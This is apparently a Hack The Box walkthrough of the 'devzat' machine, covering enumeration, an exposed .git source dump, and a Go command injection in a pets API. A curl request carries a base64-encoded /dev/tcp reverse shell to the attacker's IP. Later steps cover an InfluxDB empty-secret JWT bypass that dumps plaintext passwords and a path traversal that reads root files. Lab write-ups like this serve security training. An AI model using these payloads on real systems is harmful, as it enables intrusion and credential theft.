Summary
This box focuses a lot on enumeration and source code review. We can abuse an api to achieve remote code execiton on the target system. We can then pivot to a different user via an Authentication Bypass in the influxdb service. Source code for a development instance of the devzat chat service can then be accessed which contains a password that allows us to read any file on the system.
Foothold
Let’s start out with a doing a port scan with nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.92 scan initiated Tue Jan 18 17:38:37 2022 as: nmap -sC -sV -p- -o nmap/full.txt 10.129.164.185
Nmap scan report for devzat.htb (10.129.164.185)
Host is up (0.043s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: devzat - where the devs at
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=1/18%Time=61E74198%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 18 17:39:52 2022 -- 1 IP address (1 host up) scanned in 75.62 seconds
As can be seen 2 ports, 22 and 8000 are hosting ssh services. Port 80 is hosting a http service. If we start out by visiting the web application hosted on port 80 we get greeted with the following:
We should also enumerate vhosts with gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ gobuster vhost -u devzat.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://devzat.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/21 20:57:52 Starting gobuster in VHOST enumeration mode
===============================================================
Found: pets.devzat.htb (Status: 200) [Size: 510]
Adding pets.devzat.htb
to our /etc/hosts
file, we can now visit the site:
We can now scan for directories via gobuster on the pets page (Note that we are blacklisting the 200 status code since all directories will give this status):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ gobuster dir -u http://pets.devzat.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -b 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pets.devzat.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 200
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/21 21:13:15 Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 40] [--> /css/]
/build (Status: 301) [Size: 42] [--> /build/]
/server-status (Status: 403) [Size: 280]
/.git (Status: 301) [Size: 41] [--> /.git/]
===============================================================
2022/06/21 21:17:08 Finished
===============================================================
We found a .git directory. We can use the git-dumper tool to download as much as possible from the directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ git-dumper http://pets.devzat.htb/.git/ out
[-] Testing http://pets.devzat.htb/.git/HEAD [200]
[-] Testing http://pets.devzat.htb/.git/ [200]
[-] Fetching .git recursively
...
[-] Fetching http://pets.devzat.htb/.git/hooks/update.sample [200]
[-] Fetching http://pets.devzat.htb/.git/logs/refs/heads/master [200]
[-] Running git checkout .
Updated 39 paths from the index
...
──(bitis㉿workstation)-[~/htb/Machines/devzat/out]
└─$ ls
characteristics go.mod go.sum main.go petshop start.sh static
Reading main.go
, we discover an interesting function named loadcharacter
:
1
2
3
4
5
6
7
8
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
Ìt takes a string as argument and then inserts it into a sh
command without any sanitization. Reading on, we find the function calling this one:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
func addPet(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
var addPet Pet
err := json.Unmarshal(reqBody, &addPet)
if err != nil {
e := fmt.Sprintf("There has been an error: %+v", err)
http.Error(w, e, http.StatusBadRequest)
return
}
addPet.Characteristics = loadCharacter(addPet.Species)
Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, "Pet was added successfully")
}
The addPet
function calls the loadCharacter
function. This function, in turn, is called by the petHandler
function which handles calls to the pets API located at the /api/pet
endpoint. To exploit this we simply need to do a post-request to this endpoint containing a json object describing a pet where the species
field contains our injected commands. We can use curl to interact with the API:
1
2
┌──(bitis㉿workstation)-[~/htb/Machines/devzat/out]
└─$ curl -X POST -d '{"name": "Cicada","species": "cat; echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xODIvMTMzNyAwPiYx | base64 -d | bash", "characteristics": "cat"}' -H "'Content-Type': 'application/json'" "http://pets.devzat.htb/api/pet"
This gives us a reverse shell and access to the patric user.
1
2
3
4
5
6
7
8
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.136.15] 50534
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
$
An ssh key belonging to patric can be found in his home directory, and can be used to get a more stable shell.
Pivot
Listing the contents of the /home
direcotry list another user, which means w emost likely have to pivot to this user before rooting the box.
1
2
atrick@devzat:/home$ ls
catherine patrick
If we go back to the devzat site, we see the following: Joining the chat as patrick lets us see his chat with the admin:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
patrick@devzat:/home$ ssh -l patrick -p 8000 localhost
The authenticity of host '[localhost]:8000 ([127.0.0.1]:8000)' can't be established.
RSA key fingerprint is SHA256:f8dMo2xczXRRA43d9weJ7ReJdZqiCxw5vP7XqBaZutI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:8000' (RSA) to the list of known hosts.
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick:
As we can see, the machine is hosting an influxdb. Reading about influxdb, the default port seems to be 8086.
1
2
3
4
5
6
7
8
9
10
11
12
patrick@devzat:/home$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:* users:(("petshop",pid=947,fd=3))
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8086 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 4096 *:8000 *:* users:(("devchat",pid=948,fd=7))
As we can see port 8086 is indeed in use. Searching for vulnerabilities in influxdb returns an Authentication bypass
We can create a valid jwt on https://jwt.io with an empty secret.
We can then enumerate the database and dump the user table:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
patrick@devzat:/home$ curl -G $url --data-urlencode "db=devzat" --data-urlencode "q=SELECT * FROM \"user\"" -H "Authorization: Bearer $token"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "user",
"columns": [
"time",
"enabled",
"password",
"username"
],
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
]
}
]
}
patrick@devzat:/home$
We now have the credentials for the catherine user: catherine:woBeeYareedahc7Oogeephies7Aiseci
.
Privilege escalation
After switching to the catherine user we should start trying to escalate our privileges. We once again log in to the chat service on port 8000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
catherine@devzat:~$ ssh -l catherine -p 8000 localhost
The authenticity of host '[localhost]:8000 ([127.0.0.1]:8000)' can't be established.
RSA key fingerprint is SHA256:f8dMo2xczXRRA43d9weJ7ReJdZqiCxw5vP7XqBaZutI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:8000' (RSA) to the list of known hosts.
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍 You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine:
As we can see, there is a local dev instance of the chat service on port 8443. We can also see that we should have access to source code for the instance in our backups. Let’s take a look at the /var/backups
folder, which contains a zip archive with the source code. Looking at the commands.go
file, we see the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
func fileCommand(u *user, args []string) {
if len(args) < 1 {
u.system("Please provide file to print and the password")
return
}
if len(args) < 2 {
u.system("You need to provide the correct password to use this function")
return
}
path := args[0]
pass := args[1]
// Check my secure password
if pass != "CeilingCatStillAThingIn2021?" {
u.system("You did provide the wrong password")
return
}
// Get CWD
cwd, err := os.Getwd()
if err != nil {
u.system(err.Error())
}
// Construct path to print
printPath := filepath.Join(cwd, path)
// Check if file exists
if _, err := os.Stat(printPath); err == nil {
// exists, print
file, err := os.Open(printPath)
if err != nil {
u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
u.system(scanner.Text())
}
if err := scanner.Err(); err != nil {
u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
}
return
} else if os.IsNotExist(err) {
// does not exist, print error
u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
return
}
// bokred?
u.system("Something went badly wrong.")
}
It seemingly just prints whatever file we want into the chat. Let’s take a look:
1
2
3
4
5
6
7
8
devbot: catherine has joined the chat
catherine: /file
[SYSTEM] Please provide file to print and the password
catherine: /file /root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/root.txt does not exist!
catherine: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 0ad7041bda0cbe6977dd05c16e25a324
catherine:
We have the contents of root.txt
. Obviously we could also have printed the ssh key of the root user, however this will do. Rooted!